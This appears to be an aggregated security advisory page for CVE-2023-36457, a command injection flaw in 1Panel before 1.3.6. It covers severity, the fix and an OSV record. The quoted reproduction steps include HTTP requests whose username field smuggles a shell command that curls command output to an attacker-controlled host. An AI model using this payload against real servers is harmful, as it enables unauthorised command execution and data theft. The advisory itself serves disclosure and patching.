CVE-2023-36457: Github.com/1Panel dev/1Panel 1Panel Vulnerable To Command Injection Vulnerability

Q: What is CVE-2023-36457?

CVE-2023-36457 is a security vulnerability in Github.com/1Panel dev/1Panel involving 1Panel vulnerable to command injection when adding container repositories under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').

Q: Which Github.com/1Panel dev/1Panel versions are affected?

Affected versions include releases prior to 1.3.6 across affected packages: github.com/1Panel-dev/1Panel.

Q: What version fixes CVE-2023-36457?

Upgrading to 1.3.6 (or the latest patched release for your respective branch) resolves the vulnerability.

Q: Is github.com/1Panel-dev/1Panel affected?

Yes, github.com/1Panel-dev/1Panel is affected in releases prior to 1.3.6. Upgrade your dependency to 1.3.6 or later.

Q: What is the CVSS score of CVE-2023-36457?

CVE-2023-36457 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L.

Q: What CWE is associated with CVE-2023-36457?

CVE-2023-36457 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).

Q: How can I check Go dependencies for CVE-2023-36457?

Run the dependency tree command: 'inspect dependencies for github.com/1Panel-dev/1Panel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

MODERATE

Advisory Identifier: GHSA-q2mx-gpjf-3h8x

CVSS 6.3

CWE-74 CWE-77

Published 2023-07-05

Advisory Summary

CVE-2023-36457 is a MODERATE (CVSS 6.3) 1panel vulnerable to command injection vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting Github.com/1Panel dev/1Panel libraries in the Go ecosystem. The issue involves 1panel vulnerable to command injection when adding container repositories. Remediation is available by upgrading affected packages to version 1.3.6.

CVE-2023-36457 at a Glance

CVE Identifier CVE-2023-36457

GHSA Identifier GHSA-q2mx-gpjf-3h8x

Severity MODERATE

CVSS v3.1 Base Score 6.3

CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Affected Product Github.com/1Panel dev/1Panel

Package Ecosystem Go

Published Date 2023-07-05

Last Updated 2023-07-05

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L).

Attack Vector Network (AV:N)

Attack Complexity Low (AC:L)

Privileges Required Low (PR:L)

User Interaction None (UI:N)

Scope Unchanged (S:U)

Confidentiality Low (C:L)

Integrity Low (I:L)

Availability Low (A:L)

How to Fix CVE-2023-36457

To remediate this vulnerability, upgrade all affected Github.com/1Panel dev/1Panel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/1Panel-dev/1Panel fixed: 1.3.6

Upgrade github.com/1Panel-dev/1Panel to 1.3.6

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/1Panel-dev/1Panel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-36457, inspect your project dependencies for Github.com/1Panel dev/1Panel:

inspect dependencies for github.com/1Panel-dev/1Panel

Analyze the terminal output to locate any version of Github.com/1Panel dev/1Panel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In Github.com/1Panel dev/1Panel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. 1. Vulnerability analysis. ``` backend\app\api\v1\image_repo.go#create ``` ![image](https://user-images.githubusercontent.com/46734380/249118560-8c20dac6-d1be-49d2-b2b2-9a4df9b7cd04.png) ``` backend\app\service\image_repo.go#CheckConn ``` ![image](https://user-images.githubusercontent.com/46734380/249118639-37b7a1e9-08a9-4316-8beb-39beefdceb33.png) 2. vulnerability reproduction. ``` POST /api/v1/containers/repo HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-CSRF-TOKEN: Content-Length: 446 Origin: http://192.168.109.152:40982 Connection: close Referer: http://192.168.109.152:40982/containers/repo Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e ``` ``` {"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"} ``` 3. Using update can be triggered multiple times. ``` POST /api/v1/containers/repo/update HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-CSRF-TOKEN: Content-Length: 447 Origin: http://192.168.109.152:40982 Connection: close Referer: http://192.168.109.152:40982/containers/repo Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e ``` ``` {"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`pwd`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"} ``` Affected versions: <= 1.3.5 ### Patches The vulnerability has been fixed in v1.3.6. ### Workarounds It is recommended to upgrade the version to v1.3.6. ### References If you have any questions or comments about this advisory: Open an issue in https://github.com/1Panel-dev/1Panel Email us at wanghe@fit2cloud.com

CVE-2023-36457 Affected Github.com/1Panel dev/1Panel Versions

1 component(s)

Fixed Versions:

1.3.6

Product / Package	Ecosystem	Affected Versions	Fixed Version
github.com/1Panel-dev/1Panel golang/github.com/1Panel-dev/1Panel	Go	< 1.3.6	1.3.6

References

GitHub Advisory / Wiki ADVISORY

https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-q2mx-gpjf-3h8x

NVD — CVE-2023-36457 NVD

https://nvd.nist.gov/vuln/detail/CVE-2023-36457

Github.com/1Panel dev/1Panel Source Repository REPOSITORY

https://github.com/1Panel-dev/1Panel

Github.com/1Panel dev/1Panel Release RELEASE

https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6

Frequently Asked Questions

What is CVE-2023-36457?

CVE-2023-36457 is a security vulnerability in Github.com/1Panel dev/1Panel involving 1Panel vulnerable to command injection when adding container repositories under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').

Which Github.com/1Panel dev/1Panel versions are affected?

Affected versions include releases prior to 1.3.6 across affected packages: github.com/1Panel-dev/1Panel.

What version fixes CVE-2023-36457?

Upgrading to 1.3.6 (or the latest patched release for your respective branch) resolves the vulnerability.

Is github.com/1Panel-dev/1Panel affected?

Yes, github.com/1Panel-dev/1Panel is affected in releases prior to 1.3.6. Upgrade your dependency to 1.3.6 or later.

What is the CVSS score of CVE-2023-36457?

CVE-2023-36457 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L.

What CWE is associated with CVE-2023-36457?

CVE-2023-36457 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).

How can I check Go dependencies for CVE-2023-36457?

Run the dependency tree command: 'inspect dependencies for github.com/1Panel-dev/1Panel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q2mx-gpjf-3h8x",
  "modified" : "2023-07-05T21:38:07Z",
  "published" : "2023-07-05T21:38:07Z",
  "aliases" : [ "CVE-2023-36457" ],
  "summary" : "1Panel vulnerable to command injection when adding container repositories",
  "details" : "### Impact\n\nThe authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.\n\n1. Vulnerability analysis.\n\n```\nbackend\\app\\api\\v1\\image_repo.go#create\n```\n![image](https://user-images.githubusercontent.com/46734380/249118560-8c20dac6-d1be-49d2-b2b2-9a4df9b7cd04.png)\n\n```\nbackend\\app\\service\\image_repo.go#CheckConn\n```\n![image](https://user-images.githubusercontent.com/46734380/249118639-37b7a1e9-08a9-4316-8beb-39beefdceb33.png)\n\n2. vulnerability reproduction.\n\n```\nPOST /api/v1/containers/repo HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 446\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`ls`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\n3. Using update can be triggered multiple times.\n\n```\nPOST /api/v1/containers/repo/update HTTP/1.1\nHost: 192.168.109.152:40982\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-CSRF-TOKEN: \nContent-Length: 447\nOrigin: http://192.168.109.152:40982\nConnection: close\nReferer: http://192.168.109.152:40982/containers/repo\nCookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e\n```\n\n```\n{\"id\":2,\"createdAt\":\"2023-04-13T19:57:43.633643247-07:00\",\"name\":\"asdasd\",\"downloadUrl\":\"127.0.0.1:8080\",\"protocol\":\"http\",\"username\":\"admin||curl http://192.168.109.1:12345/`pwd`||\",\"auth\":true,\"status\":\"Failed\",\"message\":\"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\\nError response from daemon: Get \\\"http://127.0.0.1:8080/v2/\\\": dial tcp 127.0.0.1:8080: connect: connection refused\\n\",\"password\":\"Passw0rd\"}\n```\n\nAffected versions: <= 1.3.5\n\n### Patches\n\nThe vulnerability has been fixed in v1.3.6.\n\n### Workarounds\n\nIt is recommended to upgrade the version to v1.3.6.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/1Panel-dev/1Panel\nEmail us at wanghe@fit2cloud.com\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/1Panel-dev/1Panel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.3.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-q2mx-gpjf-3h8x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-36457"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/1Panel-dev/1Panel"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74", "CWE-77" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-07-05T21:38:07Z",
    "nvd_published_at" : "2023-07-05T21:15:09Z"
  }
}

CVSS V3

6.3 MODERATE